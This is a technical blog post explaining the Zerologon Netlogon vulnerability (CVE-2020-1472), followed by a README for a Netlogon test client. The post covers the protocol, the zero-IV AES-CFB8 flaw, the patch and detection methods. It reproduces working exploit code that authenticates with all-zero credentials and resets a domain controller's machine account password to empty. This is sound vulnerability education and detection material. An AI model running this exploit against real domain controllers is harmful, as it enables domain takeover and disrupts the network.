# Blogpost : ZEROLOGON ## 1- Introduction Recently, Secura published a [whitepaper](https://www.secura.com/pathtoimg.php?id=2055) about a vulnerability found in Netlogon: Zerologon (CVE-2020-1472). The vulnerability allows bypassing the encryption security implemented in Netlogon, which an attacker can exploit to log in as a domain administrator. This blogpost is a detailed explanation of this vulnerability. ## 2- Netlogon ### 2-1 Netlogon service <!-- ![](https://i.imgur.com/hlLclWr.png) --> The Netlogon service is one of the key Local Security Authority (LSA) processes. It deals with requests by authenticating a user, synchronizing domain data, or promoting a Backup Domain Controller (BDC) to a Primary Domain Controller (PDC). One of the first tasks it does upon receiving a connection is cryptographically securing it, which is the entry point of the vulnerability. To accomplish its tasks, the service uses the Netlogon Remote Protocol (NRPC). It’s a Remote Procedure Call (RPC) interface that aims to maintain domain relationships from the members of a domain to the Domain Controller (DC), among DCs for a domain, and between DCs across domains. It’s also used to establish a secure channel between a client and a DC as well as transporting authentication requests or data related to user account modification. ### 2-2 Netlogon channel establishment NRPC is encapsulated under TCP and is based on a request-response model between a client and a DC. The scenario to establish a secure channel between the client that sends the requests and the DC that will answer them is as follows: 1. The client sends a "Challenge", and the DC answers with its challenge. ```python= NTSTATUS NetrServerReqChallenge( # A data structure that represents the logical connection between a client and a server. [in, unique, string] LOGONSRV_HANDLE PrimaryName, # The NetBIOS name of the client computer calling this method. [in, string] wchar_t* ComputerName, # The client challenge. [in] PNETLOGON_CREDENTIAL ClientChallenge, # Buffer to store the server challenge. [out] PNETLOGON_CREDENTIAL ServerChallenge ); ``` 2. The client computes a "Session Key" from the account password which represents the ```SharedSecret``` and the exchanged challenges. The "Session Key" ```Sk``` and the client challenge ```Input``` are used to compute the "Credential" which is then sent to the DC. The AES implementations of both session key and credential computations: ``` python= ComputeSessionKey(SharedSecret, ClientChallenge, ServerChallenge); ``` ```python= ComputeNetlogonCredential(Input, Sk, Output); ``` 3. The DC computes its "Credential" using the information received from the client and the account password in the database. If both "Credential" match, the secure channel is established. ```python= NTSTATUS NetrServerAuthenticate3( # A data structure that represents the logical connection between a client and a server. [in, unique, string] LOGONSRV_HANDLE PrimaryName, # The computer account. [in, string] wchar_t* AccountName, # The type of the channel. [in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType, # The NetBIOS name of the client computer calling this method. [in, string] wchar_t* ComputerName, # The client credential. [in] PNETLOGON_CREDENTIAL ClientCredential, # Buffer to store the new server credential. [out] PNETLOGON_CREDENTIAL ServerCredential, # The Negotiated options, it will be explained later in the blogpost. [in, out] ULONG * NegotiateFlags, [out] ULONG * AccountRid ); ``` During the authentication phase, the client can choose whether the requests will be "sealed and signed" or not. In both cases and in order to secure the communication, the request will contain an "Authenticator" structure that contains the "Timestamp" and the "Credential". A representation of the protocol would be: ![](https://i.imgur.com/V5pnb2Q.png) ### 2-3 Cryptography Netlogon implements two encryption algorithms common to both Credential and Session Key computations: AES and DES. The [negotiated flag](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/5805bc9f-e4c9-4c8a-b191-3c3a7de7eeed) "W" that the client sets or not during the authentication phase, and is validated by the server's capacities, defines whether to use the DES or AES algorithm for encryption. The exploit, as described in the ["Secura POC explanation" section](https://hackmd.io/YMQptv1zSSe446mw3LECjg#4--Secura-POC-explanation), will set it to 1 in order to select the AES algorithm. #### 2-3-1 Understanding AES AES is an encryption algorithm that uses a fixed block size of 128 bits and a key of 128, 192, or 256 bits. It consists of multiple operations that will be executed several times (each time is called "a round"): * 10 times for 128-bit keys * 12 times for 192-bit keys * 14 times for 256-bit keys The processing steps as defined [on Wikipedia](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) are: * 1 - KeyExpansion: round keys are derived from the cipher key using the [AES key schedule](https://en.wikipedia.org/wiki/AES_key_schedule). AES requires a separate 128-bit round key block for each round and an additional round key block. This step is important because it will generate the keys for the next rounds to avoid reusing the same key. * 2 - Initial round key addition "AddRoundKey": each byte of the state is combined with a byte of the round key using bitwise exclusive or (XOR). * 3 - 9, 11 or 13 rounds: * 1 - SubBytes: a non-linear substitution step where each byte is replaced with another according to a lookup table in order to apply confusion to the information. * 2 - ShiftRows: a transposition step where the last three rows of the state are shifted cyclically a certain number of steps. * 3 - MixColumns: a linear mixing operation that operates on the columns of the state, combining the four bytes in each column. * 4 - AddRoundKey * 4 - Final round (making 10, 12, or 14 rounds in total): * 1 - SubBytes * 2 - ShiftRows * 3 - AddRoundKey ![](https://i.imgur.com/ukNYCNA.png) #### 2-3-2 Block Cipher Modes For the same plaintext and same key, block ciphers give the same encrypted blocks. Thus, giving multiple encrypted blocks with the same values can lead to the leak of a pattern in the plaintext. Adding a mode such as CFB to a block cipher aims to avoid pattern recognition. Furthermore, it allows plaintexts bigger than the block size to be ciphered. Several modes can be used with AES, among others: ECB, CBC, CFB, OFB, CTR, EAX, CCM, and GCM. AES-CFB exists on different models that specify the size (in bits) of the encryption unit, from the IV and the Plaintext, that will be used: AES-CFB1, AES-CFB8, AES-CFB64, AES-CFB128 are the most common ones. ##### 2-3-2-1 The AES-CFB128 mode In order to introduce you to AES-CFB, here is a diagram of AES-CFB128 which summarizes it: ![](https://i.imgur.com/WdnObhw.png) The AES-CFB128 mode relies on a random Initialization Vector (IV), which is a block of bits used to randomize the encryption as an input for the first block. For each block, the input is encrypted and the result is XOR-ed with the corresponding plaintext block. This gives the ciphertext for this block, which is also used as the next block's input, and so on. For the readers with a mathematical background, the following formula gives the ciphertext C for a block i given a plaintext P, the AES function E, and the key K: ![](https://i.imgur.com/ogtlxPP.png) ##### 2-3-2-2 The AES-CFB8 mode AES-CFB8 is the mode used by Netlogon during its authentication phase. The 8 in CFB8 corresponds to 8 bits which means that only one byte from the encrypted block is used, advancing one byte at a time: ![](https://i.imgur.com/awzsGwR.png) *(credit : Secura)* ## 3- ZEROLOGON ### 3-1- The vulnerability explained According to the [Netlogon documentation from Microsoft](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/13db7494-6d2c-4448-be8f-cb5ba03e95d6), the client and server implementations of the function that computes the Credential (step 3 of the Authentication phase) have an IV set to 0, while AES asks for the IV to be randomly generated. Microsoft even provides a pseudo code for the credential computing function that shows the IV initialization: ```python= ComputeNetlogonCredential(Input, Sk, Output) SET IV = 0 CALL AesEncrypt(Input, Sk, IV, Output) ``` Given an IV of zeros, the vulnerability lies in finding a key for which an encrypted block begins by the byte 0. If the message is also zeros-only, the XOR performing the encryption for the first byte would be 0 XOR 0, which equals 0. Chaining this will result in the second byte being 0, and so on until all the encrypted message is zeros-only. ![](https://i.imgur.com/fYWoVpS.png) *(credit : Secura)* The AES encryption takes the ClientChallenge in the ```Input``` parameter, the Session Key in the ```Sk``` parameter, the IV in the ```IV``` parameter, and a buffer to store the result in the ```Output``` parameter. The chance to get an AES result with a first byte set to 0 is 1/256 (it should be almost random and there're 256 possible values in a byte after all) and can be verified with this script: ```python= #Script to test how many 0 as first bits we get with AES algorithm from Crypto.Cipher import AES from Crypto.Util.Padding import pad from base64 import b64encode import os import json def test_aes_ecb(nbr_test): total = 0 print("running " + str(nbr_test) + " tests...") for i in range (0, nbr_test): key = os.urandom(16) data = b"00000" cipher = AES.new(key, AES.MODE_ECB) ct_bytes = cipher.encrypt(pad(data, AES.block_size)) #print(ct_bytes) #print(result) if (ct_bytes[0] == 0): total += 1 print("stats: ", total / nbr_test) if __name__ == "__main__": print("reference: 1/256 = ", 1/256) test_aes_ecb(100000) test_aes_ecb(1000000) ``` An example of output could be: ``` reference: 1/256 = 0.00390625 running 100000 tests... stats: 0.00379 running 1000000 tests... stats: 0.00388 ``` In the context of the vulnerability, the exploit aims to brute force until the DC computes a Session Key that will provide a full-zeroes Credential. After bypassing the encryption steps and establishing the secure channel, the "Sealed and Signed" step should hinder the exploit. This step uses the Session Key to encrypt and decrypt the messages sent and received by both client and server when the secure channel is up, but the attacker, mimicking a client, can't know the Session Key since it needs to be computed using the account password. The client and server implementations of the Netlogon authentication function allow flags to be enabled, through the ```NegotiateFlags``` parameter: ```Python= NTSTATUS NetrServerAuthenticate3( [in, unique, string] LOGONSRV_HANDLE PrimaryName, [in, string] wchar_t* AccountName, [in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType, [in, string] wchar_t* ComputerName, [in] PNETLOGON_CREDENTIAL ClientCredential, [out] PNETLOGON_CREDENTIAL ServerCredential, [in, out] ULONG * NegotiateFlags, [out] ULONG * AccountRid ); ``` In the exploit, the flag is ```0x212fffff``` to disable the "Sealed and Signed" step. The meaning of the flag can be understood using the [Microsoft Netlogon documentation](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/5805bc9f-e4c9-4c8a-b191-3c3a7de7eeed), or using this script: ```python= def understand_flag(): flags = "0YX0000W00VUTSRQPONMLKJIHGFEDCBA" searched_flag = str(bin(int(0x212fffff)))[2:] len1 = len(flags) len2 = len(searched_flag) if (len1 != len2): for bit in range(0, len1 - len2): searched_flag = '0' + searched_flag activated = "" size = len(searched_flag) for i in range(0, size): if (searched_flag[i] == '1'): activated += flags[i] print(activated) ``` The result is ```XWVTSRQPONMLKJIHGFEDCBA``` (where the "W" is enabled, as mentioned before, to use the AES protocol). Each letter represents an enabled option, for which Microsoft documents its meaning: ![](https://i.imgur.com/iEX921p.png) *(credit : Microsoft)* The "Support Secure RPC" ("Y") is not enabled, which means that the "Sealed and Signed" step will be skipped. ### 3-2- The Secure RPC, before and after the Microsoft patch The exploit used in the ["Exploit the vulnerability" section](https://hackmd.io/@raefko/B1sSuUmBv#5--Exploit-the-vulnerability) has been tested on a DC before and after applying the patch. The client used to test some Netlogon functions can be found [here](https://github.com/AlsidOfficial/Netlogon-Client). It uses [impacket](https://github.com/SecureAuthCorp/impacket/), a collection of Python classes for working with network protocols. * Before the patch, enabling or disabling the "Supports Secure RPC" flag ("Y") doesn't change anything. The exploit works perfectly and the client can communicate with the DC even when the flag is enabled and without sealing and signing the message. Using the Netlogon client with these sessions proved possible, e.g. to get server capabilities or change a user's password. * The flag ```0x212fffff``` during the authentication was set and the Local Policy ```Domain member: Digitally encrypt or sign secure channel data (always)``` to encrypt and sign the secure channel data was enabled. * Using a Kernel debug didn't show anything special in the call trace. * No differences were found in the requests using Wireshark. It's possible that setting the "Y" flag doesn't enable the secure RPC by itself and that the capability is negotiated but not required. * After applying the patch, the exploit was still working until changing the value of the registry key ```FullSecureChannelProtection```, that can be found in ```HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters```, to 1. After that, trying to send a request without sealing and signing shows this error: ```Unexpected error code from DC: NRPC SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights..``` And the Netlogon logs show: ``` 11/03 09:42:05 [SESSION] [1976] TEST: NetrServerAuthenticate entered: DESKTOP-ENFTHL1 (192.168.137.1) on account TESTCOMPUTER$ (Negot: 612fffff) 11/03 09:42:05 [SESSION] [1976] Machine Os AD DirSearch for SamAccountName TESTCOMPUTER$ took 237 microseconds to run 11/03 09:42:05 [SESSION] [1976] The os for account TESTCOMPUTER$ is "Unknown", build "N/A", service pack "N/A" 11/03 09:42:05 [SESSION] [1976] TEST: NetrServerAuthenticate returns Success: DESKTOP-ENFTHL1 on account TESTCOMPUTER$ (Negot: 612fffff) 11/03 09:42:05 [SESSION] [1976] [Unknown]: NetrLogonGetCapabilities: DESKTOP-ENFTHL1 1 Entered 11/03 09:42:05 [MISC] [1976] Eventlog: 5827 (1) "TESTCOMPUTER" "test.alsid." "Domain Member" "Unknown" "N/A" "N/A" 11/03 09:42:05 [SESSION] [1976] TEST: NetrLogonGetCapabilities: DESKTOP-ENFTHL1 1 Returns 0xC0000022 ``` A new security setting in the Local Policies is also available: ```Domain controller: Allow vulnerable Netlogon secure channel connections```. It determines whether the domain controller bypasses secure RPC for Netlogon secure channel connections for specified machine accounts. These updates address the vulnerability by modifying how Netlogon handles the usage of Netlogon secure channels. More information about the patch can be found in the [Microsoft support website](https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc). ## 4- Secura POC explanation Secura published a code on their [github](https://github.com/SecuraBV/CVE-2020-1472/blob/master/zerologon_tester.py) to test the vulnerability of a DC. As mentioned previously, the attack has a 1/256 chance to work once, so the code starts by calling the ```perform_attack``` function that tries to execute the attack ```MAX_ATTEMPTS``` times. The parameters of the function are the name of the DC, the IP, and the name of the target server: ```python= def perform_attack(dc_handle, dc_ip, target_computer): print('Performing authentication attempts...') rpc_con = None for attempt in range(0, MAX_ATTEMPTS): rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer) if rpc_con == None: print('=', end='', flush=True) else: break def try_zero_authenticate(dc_handle, dc_ip, target_computer): # Connect to the DC's Netlogon service. binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) # Use an all-zero challenge and credential. plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. flags = 0x212fffff # Send challenge and authentication request. nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags ) # It worked! assert server_auth['ErrorCode'] == 0 return rpc_con except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: return None else: fail(f'Unexpected error code from DC: {ex.get_error_code()}.') except BaseException as ex: fail(f'Unexpected error: {ex}.') ``` The most interesting part of the ```try_zero_authenticate``` function concerning the vulnerability is the following: ```python= plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. flags = 0x212fffff # Send challenge and authentication request. nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags ) ``` The ClientChallenge ```plaintext``` and the Credential ```ciphertext``` are set to 8 zeroes. Then, the client sends the ClientChallenge to the server and gets the server's challenge using: ```python= nrpc.hNetrServerReqChallenge(dce, primaryName, computerName, clientChallenge) ``` To call ```NetrServerReqChallenge``` the client sends the DC name as the ```primaryName```, the computer name as ```computerName``` and the ClientChallenge set before as ```clientChallenge```. After that, it sends the Credential using: ```python= nrpc.hNetrServerAuthenticate3(dce, primaryName, accountName, secureChannelType, computerName, clientCredential, negotiateFlags) ``` To call ```NetrServerAuthenticate3```, the client must have called ```NetrServerReqChallenge``` and have a local copy of the server challenge. The client has to compute a Netlogon credential using the AES-CFB8. The result must be computed using the ClientChallenge used in the call to ```NetrServerReqChallenge```. The computed credential is then passed on as the ```clientCredential``` parameter to ```NetrServerAuthenticate3```. To summarize the application of the vulnerability, both client and server exchange their Challenges with ```NetrServerReqChallenge```. The client tries to authenticate with ```NetrServerAuthenticate3``` by sending its Credential. As seen before, by setting the ClientChallenge to ```00000000``` there is a 1/256 chance of getting a Credential with only zeroes on the server-side. ## 5- Exploit the vulnerability [Dirkjanm](https://github.com/dirkjanm) released a [script](https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py) to exploit the vulnerability by changing the computer's account password. It adds a function to Secura's POC which calls the ```NetrServerPasswordSet2``` function, allowing the client to set a new password for an account used by the DC for setting up the secure channel from the client. ```python= def exploit(dc_handle, rpc_con, target_computer): request = nrpc.NetrServerPasswordSet2() request['PrimaryName'] = dc_handle + '\x00' request['AccountName'] = target_computer + '$\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = b'\x00' * 8 authenticator['Timestamp'] = 0 request['Authenticator'] = authenticator request['ComputerName'] = target_computer + '\x00' request['ClearNewPassword'] = b'\x00' * 516 return rpc_con.request(request) ``` Some precisions about the script: * The ```Credential``` for the first request after the secure channel was established will be the same as the ```ClientCredential``` computed before. * The ```Timestamp``` should contain the current Posix time. However, the server does not verify the information. * The ```ClearNewPassword``` parameter is stored in the ```NL_TRUST_PASSWORD``` structure: ```python= typedef struct _NL_TRUST_PASSWORD { WCHAR Buffer[256]; ULONG Length; } NL_TRUST_PASSWORD, *PNL_TRUST_PASSWORD; ``` Sending 516 zeroes means that the first 512 zeroes will fill the ```Buffer``` with 256 zeroes because the size of a WCHAR is 2 bytes. The last 4 zeroes will go into the ```Length``` parameter to set it to 0. If the request succeeds, anyone can log into the computer's account without any password. This exploit is very intrusive (the DC loses its password, which partially removes it from the domain). Another way to exploit this vulnerability is using the reflection and the details can be found on [Dirkjanm's blog](https://dirkjanm.io/a-different-way-of-abusing-zerologon/). ## 6- How to detect the exploit Multiple security auditors proposed several SIEM detection rules to detect an attempt to exploit the vulnerability, most of them giving some false-positive. The propositions bellow can be combined to reduce the number of false-positives alerts: * 4742 events in the Microsoft security provider, which are recording computer's account password changes, with the identity anonymous logon, are also representative of this exploit. ![](https://i.imgur.com/ZJ30d8G.png) * The Netlogon logs, which aren't activated by default, can contain some clues. * Set a connection attempt limit because the exploit has 1/256 chance to work. ![](https://i.imgur.com/phLYrrZ.png) * Catch the call to the ```NetrServerPasswordSet2``` that some scripts use to change the computer's account password. ![](https://i.imgur.com/406q5Tt.png) * Wireshark shows the RPC_NETLOGON requests and their content, which can then be used to create network filters. * For the NetrServerReqChallenge![](https://i.imgur.com/NQnN3rz.png) The request sent by the client contains the full-zeroes client challenge. * For the NetrServerAuthenticate3![](https://i.imgur.com/X6j0S3V.png) The request sent by the client contains the full-zeroes credential and the negotiated flag which disables the Sign and Seal. * For the NetrServerPasswordSet2![](https://i.imgur.com/59NE0nq.png) ![](https://i.imgur.com/dygRuxH.png) The request sent by the client contains 516 zeroes to change the password. * Whether using logs or network sniffing, a repeated calls to 1 then 2, in this order is significative of this vulnerability, adding a call to 3 is significative of its exploit: * 1- NetrServerReqChallenge * 2- NetrServerAuthenticate3 * 3- NetrServerPasswordSet2 ## 7 What's new # Netlogon-Client A Netlogon Client wrote by [Nabih Benazzouz](https://github.com/raefko) to test some NRPC calls during his internship at [ALSID](https://alsid.com). It was developped to better understand Netlogon and the ```CVE 2020-1472```. His [blogpost](https://fixme.com) details the Netlogon Protocol and the vulnerability of the ```CVE 2020-1472```. ______________________________________________________ ## Dependencies Python 3.x [Impacket](https://github.com/raefko/impacket), a collection of Python classes for working with network protocols. ______________________________________________________ ## Usage ```Usage: netlogon_client.py <dc-name> <account_name> <account_password_hash> <dc-ip>``` When the secure channel is up, a menu with some Netlogon functions (documentend on the [Microsoft Website](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/ff8f970f-3e37-40f7-bd4b-af7336e4792f)) that are implemented functions in ```Impacket``` appears. For the moment only few of them can be called but It will be updated soon. ![](https://i.imgur.com/5dXAL1l.png) ![](https://i.imgur.com/BM5G5oy.png) ``` * 1- DsrGetDcNameEx2 method returns information about a domain controller in the specified domain and site * 2- hDsrGetDcNameEx method is a predecessor to the hDsrGetDcNameEx2 method. It returns information about a domain controller in the specified domain and site. * 3- hDsrGetDcName method is a predecessor to the hDsrGetDcNameEx2 method. It returns information about a domain controller in the specified domain. * 4- hNetrGetAnyDCName method may be used to retrieve the name of a domain controller in the specified primary or directly trusted domain. Only DCs can return the name of a DC in a specified directly trusted domain. * 5- hNetrGetDCName method retrieves the NetBIOS name of the PDC for a specified domain. * 6- hDsrGetSiteName method returns the site name for a specified computer. * 7- hDsrGetDcSiteCoverageW method returns a list of sites covered by a DC. * 8- hNetrServerPasswordGet method allows a BDC to get a computer account password from the PDC in the domain. * 9- hNetrServerTrustPasswordsGet method returns encrypted passwords for an account on a server. * 10- hNetrServerPasswordSet2 method allows an account to set a new clear text password. This method extends NetrServerPasswordSet. * 11- hNetrLogonGetDomainInfo method returns information that describes the current domain to which a specified client belongs * 12- hNetrLogonGetCapabilities method returns server capabilities. * 13- hNetrServerGetTrustInfo method returns an information block from a specified server. The information includes encrypted passwords for a specific account and trust data. ``` Example of calling the ```hNetrLogonGetCapabilities``` (12): ![](https://i.imgur.com/oEQVjgm.png) ![](https://i.imgur.com/oWXXREB.png) The ```user``` class contains some parameters needed in most of the functions. You can use ```skip.``` to put a `NULL` value.